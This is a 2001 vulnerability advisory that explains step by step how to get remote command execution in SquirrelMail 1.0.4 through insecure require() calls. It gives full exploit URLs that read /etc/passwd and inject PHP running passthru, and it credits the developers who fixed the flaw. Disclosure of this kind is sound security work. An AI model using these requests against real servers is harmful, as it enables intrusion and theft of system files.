Security Advisory #10

Secure Reality Pty Ltd. Security Advisory #10 (SRADV00010)
Secure Reality
================================================= [Title] Remote command execution vulnerabilities in SquirrelMail [Released] 2/7/2001 [Vulnerable] Versions up to and including 1.0.4 [Overview] SquirrelMail is an amazingly easy to use, good looking and functional web mail system written in PHP. In versions specified SquirrelMail makes insecure calls to the PHP function include(). Installations of the versions specified are vulnerable to attacks in which the attacker gains the ability to execute arbitrary commands (and code) on the remote web server with the permissions of the web server user, typically 'nobody'. [Impact] Remote command execution (with privileges as above) [Detail] Please note that this vulnerability was discussed in detail at the Black Hat Briefings in Hong Kong and Singapore in Asia 2001. At some stage, Powerpoint presentation notes and audio/video of the presentation will become available at Note also that this description will be best understood (and is released in conjunction with) our new paper "A Study In Scarlet - Exploiting Common Vulnerabilities in PHP Applications" which can be downloaded from As with all the advisories released in conjunction with the paper above I'm going to describe this problem in gross detail, from finding the hole to exploiting it (sidestepping various annoying barriers along the way). The problem is initially spotted with a trivial grep of the source. The following line of code in load_prefs.php seems suspicious: 39 require("$chosen_theme"); The require() function tells PHP to read in the file specified in the variable $chosen_theme and interpret it as though it were PHP code. If the attacker can affect $chosen_theme (with form input) they may be able to point this at sensitive local files (e.g /etc/passwd) and have them returned or even worse, have their own PHP interpreted which allows them to run arbitrary code. Looking higher in the file we get a feel for what load_prefs.php is meant to do: 8 ** Loads preferences from the $username.pref file used by almost 9 ** every other script in the source directory and alswhere. Ok, so its a file that is typically include()d by other PHP scripts that loads the users preferences (where user is determined by $username). This is looking really good. This file is a library code file, its not ever meant to be requested by a remote user, but it has the correct extension (.php) to be parsed as PHP code so a remote attacker can request it. Scripts like this are typically low hanging fruit since the fact that they're meant to be included by other scripts often means they have a certain 'context' they're meant to work in. Without this context they're often easy to exploit. Looking from the top of the file at various housekeeping code: 14 if (!isset($config_php)) 15 include("../config/config.php"); 16 if (!isset($prefs_php)) 17 include("../functions/prefs.php"); 18 if (!isset($plugin_php)) 19 include("../functions/plugin.php"); 20 21 $load_prefs_php = true; 22 if (!isset($username)) 23 $username = ''; 24 checkForPrefs($data_dir, $username); Ok, lines 14 to 19 are interesting. The code tries to determine if its environment has been well established (that is, important code this page relies upon has already been included). However, this is not a secure way to determine if the environment has been well constructed, an attacker can cause $config_php, $prefs_php or $plugin_php to be set by submitting them as form variables and thereby cause the required code not to be included. Having tried to construct a sane environment the code goes on to set a flag indicating it has been included (later scripts check this variable before trying to include it, in the same way that it checks for config.php etc). The code then goes on to insure that $username is set to something (note that no code to authenticate $username is evident yet). The script then calls checkForPrefs with $data_dir (which is a configuration variable normally set in config.php) and $username (the unauthenticated user the remote requestor is claiming to be). checkForPrefs() is a function defined in ../functions/prefs.php. The following is the relevant code: 116 /** This checks if there is a pref file, if there isn't, it will 117 create it. **/ 118 function checkForPrefs($data_dir, $username) { 119 $filename = "$data_dir$username.pref"; 120 if (!file_exists($filename)) { 121 if (!copy("$data_dir" . "default_pref", $filename)) { 122 echo _("Error opening ") ."$filename"; 123 exit; 124 } 125 } 126 } Interesting. When Squirrelmail is first installed the user needs to configure a data directory (that must be writable by Squirrelmail). Squirrelmail stores attachments to be downloaded, address book details and user preferences in subdirectories of this directory. This code takes the unauthenticated username and checks if a preferences file exists for this user, if it doesn't its created. This will come in very handy later on. So back in load_prefs.php: 26 $chosen_theme = getPref($data_dir, $username, "chosen_theme"); 27 $in_ary = false; 28 for ($i=0; $i < count($theme); $i++){ 29 if ($theme[$i]["PATH"] == $chosen_theme) { 30 $in_ary = true; 31 break; 32 } 33 } 34 if (!$in_ary) { 35 $chosen_theme = ""; 36 } This code reads the users preference of 'theme' (Squirrelmail has a themeable user interface) into $chosen_theme. It then loops through the $theme[] array and determines if $chosen_theme matches one of those themes. If it doesn't its set to nothing. The $theme array is an array of valid themes set in config.php: 46 $theme[0]["PATH"] = "../themes/default_theme.php"; 47 $theme[0]["NAME"] = "Default"; 48 $theme[1]["PATH"] = "../themes/plain_blue_theme.php"; 49 $theme[1]["NAME"] = "Plain Blue"; 50 $theme[2]["PATH"] = "../themes/sandstorm_theme.php"; 51 $theme[2]["NAME"] = "Sand Storm"; 52 $theme[3]["PATH"] = "../themes/deepocean_theme.php"; 53 $theme[3]["NAME"] = "Deep Ocean"; 54 $theme[4]["PATH"] = "../themes/slashdot_theme.php"; This makes it all look much harder, an attacker can have a preferences file created (checkForPrefs() does that), but what then? They need to be able to change their "chosen_theme" preference to effect the require() we noted at the start of all this but if its not set to an element of the theme array (of which none are interesting) it'll just be unset. As it turns out it takes a rather convoluted path to modify the preferences file chosen_theme without authenticating. It should be clear how you could do so by the end of this advisory however. Anyway, there's much jucier lines of attack if we look further into load_prefs.php. 38 if ((isset($chosen_theme)) && (file_exists($chosen_theme))) { 39 require("$chosen_theme"); 40 } else { 41 if (file_exists($theme[0]["PATH"])) { 42 require($theme[0]["PATH"]); 43 } else { Ignoring the chosen_theme we spot the $theme[0]['path'] code. This should stick out like a sore thumb. Recall that the theme array comes from the config.php file. This file is include()d at the beginning of load_prefs.php but ONLY if $config_php is not configured. So the immediately obvious attack is to set the following as form input: username = evilattacker config_php = true theme[0][PATH] = /etc/passwd Which presumably return the password file to the attackers web browser. Unfortunately this attack is foiled and typically results in an error message something like 'Fatal error: Call to undefined function: _() in /home/html/squirrelmail-1.0.4/functions/prefs.php on line 122' is generated. This is caused by the checkForPrefs() routine. It's checking if the user's preference file exists (as we saw earlier) but because we caused config.php not to be included when it constructs the filename of '$data_dir$username.pref' it ends up with just '<username>.pref'. Since this is a file in the root directory it will never be found so it tries to create it and when this operation fails the script aborts. The attacker now needs to provide the $data_dir variable themselves. It should be hard for an attacker to guess the location but unfortunately one of the scripts leaks this information. Looking at the script options_display.php: 19 if (!isset($page_header_php)) 20 include('../functions/page_header.php'); This is just one of the includes specified at the top of options_display.php (which normally displays a users preferences). Its performed before any sort of authentication. In the file page_header.php (which fairly obviously normally provides a standard header for all the pages): 21 // Check to see if gettext is installed 22 $headers_sent=set_up_language(getPref($data_dir, $username, "language")); The above lines of code try to setup the language of the user. The call the following code from prefs.php: 13 function getPref($data_dir, $username, $string) { 14 $filename = "$data_dir$username.pref"; 15 if (!file_exists($filename)) { 16 printf (_("Preference file %s not found. Exiting abnormally"), $filename); 17 exit; 18 } Looking at the above, before any authentication the page looks for '$data_dir$username.pref', if that isn't found it nicely tells us the file it was looking for but couldn't find. So, if an attacker requests the page without any username specified at all they receive a message like 'Preference file /var/squirrelmail/data/.pref not found. Exiting abnormally'. $data_dir is obviously the bit before '.pref'. The above makes the attack specified earlier possible with the following input: username = evilattacker config_php = true theme[0][PATH] = /etc/passwd data_dir = <dir as found> If an attacker makes a request like http://<host>/squirrelmail-1.0.4/src/load_prefs.php?username=evilattacker&co nfig_php=true&theme[0][PATH]=/etc/passwd&data_dir=/var/squirrelmail/data/ they get a copy of the remote machines /etc/passwd file delivered to their web browser. Presumably they're not going to be happy with just this level of access and would like to further exploit the problem to gain remote command execution privileges. This would normally be a relatively trivial exercise since the attacker can pick any file they wish on the remote machine and have it interpreted as PHP code. Note that we can't use a remote files attack here because the code does a file_exists() on the file before including it and file_exists() does not work with the PHP remote files functionality. The attacker just needs to get code of their chosing into a file on the remote machine. As discussed in 'A Study In Scarlet' there are many ways to do this. My first attempt used file upload but it failed as there appear to be some weird bugs in my version of PHP (4.0.4pl1) with uploading a file into a field with a two dimensional array name, this may well have been fixed since then. Anyway, trying to be general the attacker will look for an alternate way to get code into a file on the remote machine. I chose the most obvious avenue, the preferences file. Squirrelmail has been kind enough to create this file for us, its been kind enough to tell us which directory its in too so we know its absolute filename. The file looks like the following: full_name= reply_to= chosen_theme=../themes/plain_blue_theme.php show_num=25 wrap_at=86 editor_size=76 left_refresh=None language=en location_of_bar=left location_of_buttons=between order1=1 order2=2 order3=3 order4=5 order5=4 order6=6 All we need to do is get PHP code into this file without being forced to authenticate. This ability is provided by the options_order.php script. options_order.php normally allows a user to specify the order in which key fields of an email (Subject, From, To etc) they'd like displayed and in what order they should be displayed. As can be seen above each field is identified by a field number (order<fieldnumber>=<place in display>'. However options_display doesn't go to any real effort to verify what a user inputs: 83 } else if ($method == 'add' && $add) { 84 $index_order[count($index_order)+1] = $add; 85 } 86 87 if ($method) { 88 for ($i=1; $i <= count($index_order); $i++) { 89 setPref($data_dir, $username, "order$i", $index_order[$i]); 90 } 91 } If the form input contains a 'method' variable set to 'add' the script assumes the user has decided to include another field in the display. The then adds the field to the end of the list of fields to be displayed by placing its number (which it assumes is in $add) to the end of the preferences list. The problem is that $add is a form variable that is normally set via a drown down list in the preferences page to a valid field number but if an attacker ignores the form and sets it themselves it can easily be anything. Once the new field has been added all the fields are saved in the preferences file. An attacker can therefore specify something the following input and have PHP code written to a known file: username = evilattacker method = add add = "<?php passthru("/bin/ls /etc");" When the attacker makes the request like http://host/squirrelmail-1.0.4/src/options_order.php?username=evilattacker&m ethod=add&add=<?php%20passthru("/bin/ls%20/etc");%20?> the code is written to '$data_dir$username.pref'. Now the attacker can execute the same attack as specified above to retrieve the password file to execute the code they just sent. The following request: http://server/squirrelmail-1.0.4/src/load_prefs.php?username=heyheyhey&confi g_php=true&theme[0][PATH]=/var/squirrelmail/data/evilattacker.pref&data_dir= /var/squirrelmail/data/ would then result in a listing of the /etc directory being returned to the attacker in their web browser. Obviously any command could be specified and further exploit code could be uploaded and executed as described in 'A Study In Scarlet'. As always with PHP there are many caveats to the attacks details in this advisory based on PHP configuration and version. I'm not going to go into detail discussing those here. Suffice to say this is a bug and it is usually exploitable. [Fix] Later versions of SquirrelMail correct this problem. Please download a version above 1.0.5 from: [Acknowledgements] Our thanks to Luke Ehresman, Gustav Foseid and all the Squirrelmail developers for their professional manner in confirming and fixing this problem. [Disclaimer] Advice, directions and instructions on security vulnerabilities in this advisory do not constitute: an endorsement of illegal behavior; a guarantee that protection measures will work; an endorsement of any product or solution or recommendations on behalf of Secure Reality Pty Ltd. Content is provided as is and Secure Reality Pty Ltd does not accept responsibility for any damage or injury caused as a result of its use.